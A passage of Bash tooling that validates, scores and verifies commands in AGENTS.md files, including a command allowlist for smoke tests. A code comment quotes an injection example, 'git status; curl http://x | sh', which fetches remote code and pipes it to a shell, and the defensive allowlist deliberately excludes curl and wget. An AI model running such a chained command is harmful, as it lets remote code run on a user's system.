                       else {ratings:$rv, blended_percent:$blended, blended_grade:grade($blended)} end),
              axes: {
                structure:   {score:$structure,   max:25},
                currency:    {score:$currency,    max:20},
                content:     {score:$content_s,   max:20},
                conciseness: {score:$concise,     max:20},
                commands:    (if $commands_axis.applies then {score:$commands_axis.score, max:15} else {score:null, max:null, note:"n/a (scoped / no verifiable commands)"} end)
              }
            }
          ] | sort_by(.percent) as $files |
          ( [ $files[] | select(.review != null) ] ) as $reviewed |
          { schema:1,
            summary: {
              files: ($files|length),
              average: (if ($files|length)>0 then (([$files[].percent]|add)/($files|length))|round else 0 end),
              grade_counts: ($files | group_by(.grade) | map({(.[0].grade): length}) | add // {}),
              reviewed: ($reviewed|length),
              blended_average: (if ($reviewed|length)>0 then (([$reviewed[].review.blended_percent]|add)/($reviewed|length))|round else null end)
            },
            files: $files
          }
          ')
      
      if [[ "$JSON" = true ]]; then
          printf '%s\n' "$SCORING" | jq .
          exit 0
      fi
      
      # --- Human report (rendered from the deterministic scoring document) ----------
      printf '%s' "$SCORING" | jq -r '
          "AGENTS.md Quality Report  -  " + (.summary.files|tostring) + " file(s), average "
            + (.summary.average|tostring) + "/100   (worst-first)"
            + (if .summary.blended_average != null then "; with-review avg ~" + (.summary.blended_average|tostring) else "" end),
          "",
          ( .files[] |
            "  " + (.grade) + "  " + ((.percent|tostring)+"/100" | (. + (" " * (8 - (.|length)))))
              + "  " + .path,
            "       structure "  + (.axes.structure.score|tostring)  + "/25"
              + "  currency "    + (.axes.currency.score|tostring)    + "/20"
              + "  content "     + (.axes.content.score|tostring)     + "/20"
              + "  conciseness " + (.axes.conciseness.score|tostring) + "/20"
              + (if .axes.commands.score != null then "  commands " + (.axes.commands.score|tostring) + "/15" else "" end),
            ( if .review != null
              then "       with review: " + .review.blended_grade + " ~" + (.review.blended_percent|tostring)
                   + "/100  (non-reproducible)"
              else empty end )
          )
      '
      
      echo ""
      echo "Headline grades are deterministic (reproducible). Any 'with review' line is a"
      echo "qualitative LLM overlay (non-reproducible) - see references/quality-rubric.md."
      
    • validate-structure.sh 13.2 KB
      #!/usr/bin/env bash
      # Validate AGENTS.md structure compliance and optionally check freshness
      # Note: -e intentionally omitted - we accumulate errors and report at end
      set -uo pipefail
      
      SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
      
      # Scope-index heading regex (ERE). Matches both the current template heading
      # "## Scoped AGENTS.md (MUST read ...)" and the legacy "## Index of scoped
      # AGENTS.md" so validation stays in sync with generate-agents.sh output and
      # remains backward-compatible with files produced by older versions.
      # Case-tolerant via bracket classes (not grep -i / sed I) so the same regex
      # works in grep -E and sed -E on both GNU and BSD (#81): older generated roots
      # use the title-case "## Index of Scoped AGENTS.md".
      SCOPE_INDEX_HEADING_RE='^## ([Ii]ndex of [Ss]coped|[Ss]coped) AGENTS\.md'
      
      # Default options
      PROJECT_DIR=""
      CHECK_FRESHNESS=false
      VERBOSE=false
      JSON=false
      
      # Parse flags
      while [[ $# -gt 0 ]]; do
          case $1 in
              --check-freshness|-f)
                  CHECK_FRESHNESS=true
                  shift
                  ;;
              --verbose|-v)
                  VERBOSE=true
                  shift
                  ;;
              --json)
                  JSON=true
                  shift
                  ;;
              --help|-h)
                  cat <<EOF
      Usage: validate-structure.sh [PROJECT_DIR] [OPTIONS]
      
      Validate AGENTS.md structure compliance and optionally check freshness.
      
      Options:
        --check-freshness, -f  Also check if files are up to date with git commits
        --verbose, -v          Show detailed output
        --json                 Emit machine-readable JSON on stdout (structure only)
        --help, -h             Show this help message
      
      Examples:
        validate-structure.sh .                      # Structure check only
        validate-structure.sh . --check-freshness    # Structure + freshness check
        validate-structure.sh . -f -v                # Full check with details
      EOF
                  exit 0
                  ;;
              *)
                  PROJECT_DIR="$1"
                  shift
                  ;;
          esac
      done
      
      PROJECT_DIR="${PROJECT_DIR:-.}"
      cd "$PROJECT_DIR" || exit 1
      
      ERRORS=0
      WARNINGS=0
      
      # --json state: each helper records the outcome of the just-run check so that
      # record_check can attach it to a per-file record. Default-path output is unchanged.
      LAST_STATUS=""
      LAST_DETAIL=""
      declare -A FILE_CHECKS_JSON=()
      declare -A FILE_ROLE=()
      
      error() {
          echo "❌ ERROR: $*"
          ((ERRORS+=1))
          LAST_STATUS="fail"; LAST_DETAIL="$*"
      }
      
      warning() {
          echo "⚠️  WARNING: $*"
          ((WARNINGS+=1))
          LAST_STATUS="warn"; LAST_DETAIL="$*"
      }
      
      success() {
          echo "✅ $*"
          LAST_STATUS="pass"; LAST_DETAIL="$*"
      }
      
      info() {
          echo "ℹ️  $*"
          LAST_STATUS="pass"; LAST_DETAIL="$*"
      }
      
      # Record the just-run check (LAST_STATUS/LAST_DETAIL) under a relative file path.
      # No-op unless --json; never writes to stdout.
      record_check() {
          [[ "$JSON" = true ]] || return 0
          local path="$1" name="$2" obj
          obj=$(jq -nc --arg name "$name" --arg status "$LAST_STATUS" --arg detail "$LAST_DETAIL" \
              '{name:$name,status:$status,detail:$detail}')
          FILE_CHECKS_JSON["$path"]="${FILE_CHECKS_JSON["$path"]:-}${obj}"$'\n'
      }
      
      # Check if file has managed header
      check_managed_header() {
          local file="$1"
      
          if grep -q "^<!-- Managed by agent:" "$file"; then
              success "Managed header present: $file"
              return 0
          else
              warning "Missing managed header: $file"
              return 1
          fi
      }
      
      # Check if root is thin (≤50 lines or has scope index)
      check_root_is_thin() {
          local file="$1"
          local line_count
          line_count=$(wc -l < "$file")
      
          if [ "$line_count" -le 50 ]; then
              success "Root is thin: $line_count lines"
              return 0
          elif grep -qE "$SCOPE_INDEX_HEADING_RE" "$file"; then
              success "Root has scope index (verbose style acceptable)"
              return 0
          else
              error "Root is bloated: $line_count lines and no scope index (expected an '## Index of scoped AGENTS.md' or '## Scoped AGENTS.md ...' heading)"
              return 1
          fi
      }
      
      # Check if root has precedence statement
      check_precedence_statement() {
          local file="$1"
      
          if grep -qi "precedence" "$file" && grep -qi "closest.*AGENTS.md.*wins" "$file"; then
              success "Precedence statement present"
              return 0
          else
              error "Missing precedence statement in root"
              return 1
          fi
      }
      
      # Check if scoped file has all required sections (with alternatives)
      check_scoped_sections() {
          local file="$1"
      
          # Each entry: "Display Name|pattern1|pattern2|..."
          local section_patterns=(
              "Overview|## Overview"
              "Setup|## Setup|## Environment|## Prerequisites|## Getting Started|## Workflow files"
              "Build/Tests|## Build|## Tests|## Running|## Commands|## Common patterns"
              "Code style|## Code style|## Style|## Conventions|## Workflow conventions"
              "Security|## Security"
              "Checklist|## PR|## Commit|## Checklist"
              "Examples|## Good vs|## Examples|## Bad examples|## Patterns to Follow"
              "When stuck|## When stuck|## Help|## Resources|## Troubleshooting"
          )
      
          local missing=()
      
          for entry in "${section_patterns[@]}"; do
              local name="${entry%%|*}"
              local patterns="${entry#*|}"
              local found=false
      
              # Try each pattern
              IFS='|' read -ra pattern_array <<< "$patterns"
              for pattern in "${pattern_array[@]}"; do
                  if grep -qi "^$pattern" "$file"; then
                      found=true
                      break
                  fi
              done
      
              if [ "$found" = false ]; then
                  missing+=("$name")
              fi
          done
      
          if [ ${#missing[@]} -eq 0 ]; then
              success "All required sections present: $file"
              return 0
          else
              error "Missing sections in $file: ${missing[*]}"
              return 1
          fi
      }
      
      # Check if scope index links work
      check_scope_links() {
          local root_file="$1"
      
          if ! grep -qE "$SCOPE_INDEX_HEADING_RE" "$root_file"; then
              # No scope index (thin root without scopes) -- nothing to check. Set an
              # explicit status so a subsequent record_check does not reuse the
              # previous check's LAST_STATUS/LAST_DETAIL in --json mode.
              LAST_STATUS="pass"; LAST_DETAIL="No scope index (no scoped files to link)"
              return 0
          fi
      
          # Extract links from scope index
          local links
          links=$(sed -nE "/$SCOPE_INDEX_HEADING_RE/,/^##/p" "$root_file" | grep -o '\./[^)]*AGENTS.md' || true)
      
          if [ -z "$links" ]; then
              # Empty scope index with AGENTS-GENERATED markers is valid (placeholder)
              if grep -q "<!-- AGENTS-GENERATED:START scope-index -->" "$root_file" && \
                 grep -q "<!-- AGENTS-GENERATED:END scope-index -->" "$root_file"; then
                  info "Scope index is empty (placeholder)"
                  return 0
              fi
              warning "Scope index present but no links found"
              return 1
          fi
      
          local broken=()
          while read -r link; do
              # Remove leading ./
              local clean_link="${link#./}"
              local full_path="$PROJECT_DIR/$clean_link"
      
              if [ ! -f "$full_path" ]; then
                  broken+=("$link")
              fi
          done <<< "$links"
      
          if [ ${#broken[@]} -eq 0 ]; then
              success "All scope index links work"
              return 0
          else
              error "Broken scope index links: ${broken[*]}"
              return 1
          fi
      }
      
      # Check CLAUDE.md symlink exists alongside an AGENTS.md file
      check_claude_symlink() {
          local agents_file="$1"
          local dir
          dir=$(dirname "$agents_file")
          local claude_file="$dir/CLAUDE.md"
          local rel_dir="${dir#"$PROJECT_DIR"}"
          [ -z "$rel_dir" ] && rel_dir="(root)"
      
          if [ -L "$claude_file" ]; then
              local target
              target=$(readlink "$claude_file")
              if [ "$target" = "AGENTS.md" ]; then
                  success "CLAUDE.md symlink correct: $rel_dir"
                  return 0
              else
                  error "CLAUDE.md symlink points to '$target', expected 'AGENTS.md': $rel_dir"
                  return 1
              fi
          elif [ -f "$claude_file" ]; then
              # A regular file with an @AGENTS.md import line is fully valid: some
              # directories cannot hold symlinks (the TYPO3 docs renderer lists
              # Documentation/ via Flysystem, which aborts on symlinks -- #82).
              if grep -qE '^@AGENTS\.md[[:space:]]*$' "$claude_file"; then
                  success "CLAUDE.md import file (@AGENTS.md): $rel_dir"
                  return 0
              fi
              warning "CLAUDE.md is a regular file, not a symlink to AGENTS.md (add an '@AGENTS.md' import line or replace with a symlink): $rel_dir"
              return 1
          else
              error "Missing CLAUDE.md symlink to AGENTS.md: $rel_dir (Claude Code won't read AGENTS.md without it)"
              return 1
          fi
      }
      
      # In JSON mode, route all human-readable output to /dev/null and reserve the
      # original stdout (fd 3) for the single JSON document emitted at the end.
      if [[ "$JSON" = true ]]; then
          exec 3>&1 1>/dev/null
      fi
      
      # Main validation
      echo "Validating AGENTS.md structure in: $PROJECT_DIR"
      echo ""
      
      # Check root AGENTS.md
      ROOT_FILE="$PROJECT_DIR/AGENTS.md"
      
      if [ ! -f "$ROOT_FILE" ]; then
          error "Root AGENTS.md not found"
      else
          echo "=== Root AGENTS.md ==="
          FILE_ROLE["AGENTS.md"]="root"
          check_managed_header "$ROOT_FILE"; record_check "AGENTS.md" "managed_header"
          check_root_is_thin "$ROOT_FILE"; record_check "AGENTS.md" "root_is_thin"
          check_precedence_statement "$ROOT_FILE"; record_check "AGENTS.md" "precedence"
          check_scope_links "$ROOT_FILE"; record_check "AGENTS.md" "scope_links"
          echo ""
      fi
      
      # Check CLAUDE.md symlinks
      echo "=== CLAUDE.md Symlinks ==="
      ALL_AGENTS_FILES=$(find "$PROJECT_DIR" -name "AGENTS.md" \
          -not -path "*/references/examples/*" \
          -not -path "*/examples/*" \
          -not -path "*/.git/*" \
          -not -path "*/vendor/*" \
          -not -path "*/node_modules/*" \
          -not -path "*/.Build/*" \
          2>/dev/null || true)
      
      if [ -n "$ALL_AGENTS_FILES" ]; then
          while read -r file; do
              check_claude_symlink "$file"
              sym_rel="${file#"$PROJECT_DIR"/}"; sym_rel="${sym_rel#./}"
              record_check "$sym_rel" "claude_symlink"
          done <<< "$ALL_AGENTS_FILES"
      fi
      echo ""
      
      # Check scoped AGENTS.md files (exclude reference examples and dependency trees:
      # third-party AGENTS.md files are not the project's to fix -- #84)
      SCOPED_FILES=$(find "$PROJECT_DIR" -name "AGENTS.md" \
          -not -path "$ROOT_FILE" \
          -not -path "*/references/examples/*" \
          -not -path "*/examples/*" \
          -not -path "*/.git/*" \
          -not -path "*/vendor/*" \
          -not -path "*/node_modules/*" \
          -not -path "*/.Build/*" \
          2>/dev/null || true)
      
      if [ -n "$SCOPED_FILES" ]; then
          echo "=== Scoped AGENTS.md Files ==="
          while read -r file; do
              rel_path="${file#"$PROJECT_DIR"/}"
              echo "Checking: $rel_path"
              json_key="${rel_path#./}"
              FILE_ROLE["$json_key"]="scoped"
              check_managed_header "$file"; record_check "$json_key" "managed_header"
              check_scoped_sections "$file"; record_check "$json_key" "required_sections"
              echo ""
          done <<< "$SCOPED_FILES"
      fi
      
      # Emit JSON document and exit before the human summary. JSON mode is structure-only
      # and deliberately does NOT run the --check-freshness shell-out below (score-agents
      # calls check-freshness.sh --json itself), keeping the two signals decoupled.
      if [[ "$JSON" = true ]]; then
          json_files=()
          if [[ "${#FILE_CHECKS_JSON[@]}" -gt 0 ]]; then
              while IFS= read -r path; do
                  [[ -z "$path" ]] && continue
                  checks_json=$(printf '%s' "${FILE_CHECKS_JSON[$path]}" | jq -s '.')
                  json_files+=("$(jq -nc \
                      --arg path "$path" \
                      --arg role "${FILE_ROLE[$path]:-scoped}" \
                      --argjson checks "$checks_json" \
                      '{path:$path,role:$role,
                        errors:($checks|map(select(.status=="fail"))|length),
                        warnings:($checks|map(select(.status=="warn"))|length),
                        checks:$checks}')")
              done < <(printf '%s\n' "${!FILE_CHECKS_JSON[@]}" | sort)
          fi
          if [[ "${#json_files[@]}" -eq 0 ]]; then
              files_json='[]'
          else
              files_json=$(printf '%s\n' "${json_files[@]}" | jq -s '.')
          fi
          jq -nc \
              --argjson files "$files_json" \
              --argjson e "$ERRORS" \
              --argjson w "$WARNINGS" \
              '{script:"validate-structure",schema:1,summary:{errors:$e,warnings:$w},files:$files}' >&3
          if [[ "$ERRORS" -eq 0 ]]; then exit 0; else exit 1; fi
      fi
      
      # Summary
      echo "=== Structure Validation Summary ==="
      if [ $ERRORS -eq 0 ] && [ $WARNINGS -eq 0 ]; then
          echo "✅ All structure checks passed!"
      elif [ $ERRORS -eq 0 ]; then
          echo "⚠️  Structure validation passed with $WARNINGS warning(s)"
      else
          echo "❌ Structure validation failed with $ERRORS error(s) and $WARNINGS warning(s)"
      fi
      
      # Run freshness check if requested
      if [ "$CHECK_FRESHNESS" = true ]; then
          echo ""
          echo "=== Freshness Check ==="
          FRESHNESS_ARGS=""
          [ "$VERBOSE" = true ] && FRESHNESS_ARGS="--verbose"
      
          if "$SCRIPT_DIR/check-freshness.sh" "$PROJECT_DIR" $FRESHNESS_ARGS; then
              echo "✅ All files are up to date!"
          else
              # Freshness issues are warnings, not errors
              ((WARNINGS+=1))
          fi
      fi
      
      echo ""
      echo "=== Final Summary ==="
      if [ $ERRORS -eq 0 ] && [ $WARNINGS -eq 0 ]; then
          echo "✅ All checks passed!"
          exit 0
      elif [ $ERRORS -eq 0 ]; then
          echo "⚠️  Passed with $WARNINGS warning(s)"
          exit 0
      else
          echo "❌ Failed with $ERRORS error(s) and $WARNINGS warning(s)"
          exit 1
      fi
      
    • verify-commands.sh 26.5 KB
      #!/usr/bin/env bash
      # Verify that commands documented in AGENTS.md actually work
      # This prevents "command rot" - documented commands that no longer exist
      # Requires: Bash 4.0+ (for associative arrays)
      set -euo pipefail
      
      # Check Bash version - we need 4.0+ for associative arrays (declare -A)
      if ((BASH_VERSINFO[0] < 4)); then
          echo "Error: Bash 4.0+ required (found ${BASH_VERSION})." >&2
          echo "On macOS: brew install bash" >&2
          exit 1
      fi
      
      PROJECT_DIR="."
      JSON=false
      
      # Parse flags. Preserves the original positional semantics (PROJECT_DIR="${1:-.}"):
      # the first non-flag argument becomes PROJECT_DIR, defaulting to "." when absent.
      while [[ $# -gt 0 ]]; do
          case $1 in
              --json)
                  JSON=true
                  shift
                  ;;
              --help|-h)
                  cat <<EOF
      Usage: verify-commands.sh [PROJECT_DIR] [OPTIONS]
      
      Verify that commands documented in AGENTS.md actually exist (and optionally run).
      
      Options:
        --json                Emit machine-readable JSON on stdout (human output suppressed)
        --help, -h            Show this help message
      
      Environment variables:
        VERBOSE=true          Show detailed [INFO] output on stderr
        DRY_RUN=true          Skip writing the JSON sidecar and updating timestamps
        SMOKE_TEST=true       Actually run safe commands (not just check existence)
        TIMEOUT=SECONDS       Per-command timeout for smoke tests (default: 60)
        OUTPUT_JSON=PATH      Sidecar results file (default: PROJECT_DIR/.agents/command-verification.json)
      
      Examples:
        verify-commands.sh .                     # Verify commands in ./AGENTS.md
        verify-commands.sh . --json              # Machine-readable JSON output
      EOF
                  exit 0
                  ;;
              *)
                  PROJECT_DIR="$1"
                  shift
                  ;;
          esac
      done
      
      AGENTS_FILE="$PROJECT_DIR/AGENTS.md"
      VERBOSE="${VERBOSE:-false}"
      DRY_RUN="${DRY_RUN:-false}"
      SMOKE_TEST="${SMOKE_TEST:-false}"
      TIMEOUT="${TIMEOUT:-60}"
      OUTPUT_JSON="${OUTPUT_JSON:-$PROJECT_DIR/.agents/command-verification.json}"
      
      # Colors
      RED='\033[0;31m'
      GREEN='\033[0;32m'
      YELLOW='\033[1;33m'
      NC='\033[0m' # No Color
      
      log() {
          if [ "$VERBOSE" = true ]; then
              echo -e "[INFO] $*" >&2
          fi
      }
      
      error() {
          echo -e "${RED}[ERROR]${NC} $*" >&2
      }
      
      success() {
          echo -e "${GREEN}[OK]${NC} $*"
      }
      
      warn() {
          echo -e "${YELLOW}[WARN]${NC} $*"
      }
      
      # Check if AGENTS.md exists
      if [ ! -f "$AGENTS_FILE" ]; then
          error "AGENTS.md not found at $AGENTS_FILE"
          exit 1
      fi
      
      cd "$PROJECT_DIR"
      
      # In JSON mode, route all human-readable output to /dev/null and reserve the
      # original stdout (fd 3) for the single JSON document emitted at the end. This
      # keeps --json strictly additive: the default (no-flag) path is untouched.
      JSON_CMDS=()
      if [[ "$JSON" = true ]]; then
          exec 3>&1 1>/dev/null
      fi
      
      echo "Verifying commands in $AGENTS_FILE..."
      echo ""
      
      FAILED=0
      PASSED=0
      SKIPPED=0
      
      # JSON results storage
      declare -A COMMAND_RESULTS
      
      # Initialize JSON output directory (always needed for results)
      mkdir -p "$(dirname "$OUTPUT_JSON")"
      
      # Check if a command is safe to execute using a whitelist approach.
      # Only commands whose base binary is in the ALLOWED_COMMANDS list are permitted.
      # Returns 0 if safe, 1 if not whitelisted.
      #
      # The command is executed later as a whole string by `bash -c`, so checking the
      # first word alone decides nothing: "git status; curl http://x | sh" passes a
      # base-command check and then runs both halves (#104). Anything carrying shell
      # syntax that could chain, redirect or substitute a second command is therefore
      # rejected outright rather than approved on its prefix.
      is_safe_command() {
          local cmd="$1"
      
          # Shell metacharacters: command separators (; & |), substitution ($ `),
          # redirection (< >), grouping ({ } ( )), globs that could expand into
          # further arguments, and newlines. A documented build command needs none
          # of them; anything that does is not verifiable by smoke-running it.
          if [[ "$cmd" == *[\;\&\|\`\$\<\>\{\}\(\)\*\?\!$'\n']* ]]; then
              return 1
          fi
      
          # Whitelist of known safe base commands.
          # These are common build/dev tools that are safe to invoke for verification.
          local -a ALLOWED_COMMANDS=(
              # Version control
              git
              # File inspection
              ls cat head tail less wc file stat find grep egrep fgrep rg ag sed awk sort uniq diff
              # Build tools / package managers
              make go npm yarn pnpm bun composer cargo deno gradle gradlew python python3 pip pip3
              poetry uv pytest php phpunit node ruby bundle gem mvn ant
              # Project-specific binaries (resolved via PATH or relative path)
              vendor/bin
              # Container tools (read-only / informational subcommands only)
              docker podman
              # Linters and formatters
              eslint prettier phpcs phpcbf phpstan psalm rector black flake8 mypy ruff shellcheck
              # Documentation / misc
              # curl/wget are deliberately absent: fetching a URL is not a way to
              # verify that a documented build command works, and they are the two
              # entries that turn an allowlisted base command into an outbound
              # request (#104). Such commands are reported as not smoke-tested.
              jq yq
              # Testing
              jest vitest mocha
          )
      
          # Extract the base command (first word), stripping any leading ./
          local base_cmd
          base_cmd=$(echo "$cmd" | awk '{print $1}' | sed 's|^\./||')
      
          # Allow vendor/bin/* paths
          if [[ "$base_cmd" == vendor/bin/* ]]; then
              return 0
          fi
      
          # Check against whitelist
          for allowed in "${ALLOWED_COMMANDS[@]}"; do
              if [[ "$base_cmd" == "$allowed" ]]; then
                  return 0
              fi
          done
      
          # Not in whitelist - reject
          return 1
      }
      
      # Portable milliseconds timestamp (works on both GNU and BSD date)
      get_time_ms() {
          # Try GNU date with nanoseconds first, fall back to seconds * 1000
          if date +%s%3N 2>/dev/null | grep -qE '^[0-9]+$'; then
              date +%s%3N
          else
              echo $(( $(date +%s) * 1000 ))
          fi
      }
      
      # Run a command with timeout and measure duration
      smoke_test_command() {
          local cmd="$1"
          local start_time end_time duration_ms exit_code
      
          # Safety check - skip dangerous commands
          if ! is_safe_command "$cmd"; then
              warn "Not smoke-tested (not on the allowlist, or contains shell syntax): $cmd"
              COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "skipped": true, "reason": "safety"}'
              return 1
          fi
      
          start_time=$(get_time_ms)
      
          # Run with timeout, capture exit code
          if timeout "${TIMEOUT}s" bash -c "$cmd" > /dev/null 2>&1; then
              exit_code=0
          else
              exit_code=$?
          fi
      
          end_time=$(get_time_ms)
          duration_ms=$((end_time - start_time))
      
          # Store result
          if [ $exit_code -eq 0 ]; then
              COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": true, "duration_ms": '"$duration_ms"'}'
              return 0
          elif [ $exit_code -eq 124 ]; then
              # Timeout
              COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "timeout": true, "duration_ms": '"$((TIMEOUT * 1000))"'}'
              return 1
          else
              COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false, "exit_code": '"$exit_code"', "duration_ms": '"$duration_ms"'}'
              return 1
          fi
      }
      
      # Write results to JSON file
      write_json_results() {
          local timestamp
          # Portable ISO 8601 timestamp (works on both GNU and BSD date)
          timestamp=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
      
          {
              echo "{"
              echo '  "verified_at": "'"$timestamp"'",'
              echo '  "smoke_tested": '"$SMOKE_TEST"','
              echo '  "commands": {'
      
              local first=true
              for cmd in "${!COMMAND_RESULTS[@]}"; do
                  if [ "$first" = true ]; then
                      first=false
                  else
                      echo ","
                  fi
                  # Escape the command string for JSON
                  local escaped_cmd
                  escaped_cmd=$(echo "$cmd" | sed 's/\\/\\\\/g; s/"/\\"/g')
                  printf '    "%s": %s' "$escaped_cmd" "${COMMAND_RESULTS[$cmd]}"
              done
      
              echo ""
              echo "  }"
              echo "}"
          } > "$OUTPUT_JSON"
      
          log "Results written to $OUTPUT_JSON"
      }
      
      # Extract commands from markdown code blocks and table cells
      # Look for patterns like: `command arg` or | command | or | `command` |
      extract_commands() {
          # Extract from tables with backticks (| `command` | format)
          # shellcheck disable=SC2016  # grep/sed pattern: backticks are literal.
          grep -oE '\| `[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/| `//;s/`$//' | grep -v '^\s*$' || true
      
          # Extract from tables without backticks in Commands section
          # Look for lines like "| Lint | vendor/bin/php-cs-fixer fix --dry-run |"
          # Skip header row and separator row, get 3rd column (command), filter empty and time estimates
          sed -n '/^## Commands/,/^##/p' "$AGENTS_FILE" 2>/dev/null | \
              grep -E '^\|' | \
              tail -n +3 | \
              cut -d'|' -f3 | \
              sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | \
              grep -v '^$' | \
              grep -v '^~' || true
      
          # Extract from inline code that looks like commands
          # Includes: npm, yarn, pnpm, bun, make, go, composer, cargo, python, pip, poetry, uv, deno, gradle, php, vendor/bin
          # shellcheck disable=SC2016  # grep/sed pattern: backticks are literal.
          grep -oE '`(npm |yarn |pnpm |bun |make |go |composer |cargo |pytest |python |pip |poetry |uv |deno |gradle |php |vendor/bin/)[^`]+`' "$AGENTS_FILE" 2>/dev/null | sed 's/`//g' || true
      }
      
      # Verify a single command exists (not that it succeeds, just that it's callable)
      verify_command() {
          local cmd="$1"
          local base_cmd
      
          # Extract the base command (first word)
          base_cmd=$(echo "$cmd" | awk '{print $1}')
      
          # Skip placeholders
          if [[ "$cmd" == *"<"* ]] || [[ "$cmd" == *"{{{"* ]]; then
              log "Skipping placeholder: $cmd"
              ((SKIPPED+=1))
              return 0
          fi
      
          # Skip if it's just a flag or option
          if [[ "$base_cmd" == -* ]]; then
              return 0
          fi
      
          log "Checking: $cmd"
      
          # Check different command types
          case "$base_cmd" in
              npm|yarn|pnpm|bun)
                  # Check if package.json script exists
                  local script="${cmd#* }"
                  script="${script#run }"
                  script="${script%% *}"
                  if [ -f "package.json" ]; then
                      local script_exists=false
                      if jq -e ".scripts[\"$script\"]" package.json > /dev/null 2>&1; then
                          script_exists=true
                      elif [[ "$script" =~ ^(install|test|build|start|run)$ ]]; then
                          script_exists=true
                      fi
      
                      if [ "$script_exists" = true ]; then
                          if [ "$SMOKE_TEST" = true ]; then
                              # For test commands, only verify they start (dry-run if available)
                              local test_cmd="$cmd"
                              if [[ "$script" == "test" ]]; then
                                  # Try to use --help or --dry-run to avoid full test run
                                  test_cmd="$base_cmd run $script -- --help 2>/dev/null || $base_cmd run $script --dry-run 2>/dev/null || true"
                              fi
                              if smoke_test_command "$test_cmd"; then
                                  local duration="${COMMAND_RESULTS[$cmd]}"
                                  duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                                  success "$base_cmd script works: $script (~${duration}ms)"
                                  ((PASSED+=1))
                              else
                                  warn "$base_cmd script exists but smoke test failed: $script"
                                  COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
                                  ((SKIPPED+=1))
                              fi
                          else
                              success "$base_cmd script exists: $script"
                              COMMAND_RESULTS["$cmd"]='{"exists": true}'
                              ((PASSED+=1))
                          fi
                      else
                          warn "$base_cmd script not found: $script (in $cmd)"
                          COMMAND_RESULTS["$cmd"]='{"exists": false}'
                          ((SKIPPED+=1))
                      fi
                  else
                      warn "No package.json found for: $cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              make)
                  # Check if Makefile target exists
                  local target="${cmd#make }"
                  target="${target%% *}"
                  if [ -f "Makefile" ] || [ -f "makefile" ] || [ -f "GNUmakefile" ]; then
                      if make -n "$target" > /dev/null 2>&1; then
                          if [ "$SMOKE_TEST" = true ]; then
                              # Use make -n (dry run) for smoke test to avoid side effects
                              if smoke_test_command "make -n $target"; then
                                  local duration="${COMMAND_RESULTS[$cmd]}"
                                  duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                                  success "make target works: $target (~${duration}ms)"
                                  ((PASSED+=1))
                              else
                                  warn "make target exists but dry-run failed: $target"
                                  COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
                                  ((SKIPPED+=1))
                              fi
                          else
                              success "make target exists: $target"
                              COMMAND_RESULTS["$cmd"]='{"exists": true}'
                              ((PASSED+=1))
                          fi
                      else
                          error "make target not found: $target"
                          COMMAND_RESULTS["$cmd"]='{"exists": false}'
                          ((FAILED+=1))
                      fi
                  else
                      warn "No Makefile found for: $cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              composer)
                  # Check if composer script exists
                  local script="${cmd#composer }"
                  script="${script%% *}"
                  if [ -f "composer.json" ]; then
                      local script_exists=false
                      if [[ "$script" =~ ^(install|update|require|remove|dump-autoload)$ ]]; then
                          script_exists=true
                      elif jq -e ".scripts[\"$script\"]" composer.json > /dev/null 2>&1; then
                          script_exists=true
                      fi
      
                      if [ "$script_exists" = true ]; then
                          if [ "$SMOKE_TEST" = true ]; then
                              # For composer scripts, try --dry-run or --help
                              local test_cmd="$cmd"
                              if [[ "$script" =~ ^(install|update)$ ]]; then
                                  test_cmd="composer $script --dry-run 2>/dev/null || true"
                              fi
                              if smoke_test_command "$test_cmd"; then
                                  local duration="${COMMAND_RESULTS[$cmd]}"
                                  duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                                  success "composer script works: $script (~${duration}ms)"
                                  ((PASSED+=1))
                              else
                                  warn "composer script exists but smoke test failed: $script"
                                  COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
                                  ((SKIPPED+=1))
                              fi
                          else
                              success "composer script exists: $script"
                              COMMAND_RESULTS["$cmd"]='{"exists": true}'
                              ((PASSED+=1))
                          fi
                      else
                          warn "composer script not found: $script"
                          COMMAND_RESULTS["$cmd"]='{"exists": false}'
                          ((SKIPPED+=1))
                      fi
                  else
                      warn "No composer.json found for: $cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              python|python3|pip|pip3)
                  # Python commands
                  if command -v "$base_cmd" > /dev/null 2>&1; then
                      success "Python command available: $base_cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": true}'
                      ((PASSED+=1))
                  else
                      warn "Python command not found: $base_cmd"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              poetry)
                  # Poetry package manager
                  if command -v poetry > /dev/null 2>&1; then
                      local subcmd="${cmd#poetry }"
                      subcmd="${subcmd%% *}"
                      if [[ "$subcmd" =~ ^(install|add|remove|update|build|publish|run|shell)$ ]]; then
                          success "poetry command: $subcmd"
                          COMMAND_RESULTS["$cmd"]='{"exists": true}'
                          ((PASSED+=1))
                      else
                          # Check if it's a custom script
                          if [ -f "pyproject.toml" ] && grep -q "\[tool.poetry.scripts\]" pyproject.toml 2>/dev/null; then
                              success "poetry command available"
                              COMMAND_RESULTS["$cmd"]='{"exists": true}'
                              ((PASSED+=1))
                          else
                              warn "poetry script not found: $subcmd"
                              COMMAND_RESULTS["$cmd"]='{"exists": false}'
                              ((SKIPPED+=1))
                          fi
                      fi
                  else
                      warn "poetry not installed"
                      COMMAND_RESULTS["$cmd"]='{"exists": false}'
                      ((SKIPPED+=1))
                  fi
                  ;;
      
              uv)
                  # uv package manager
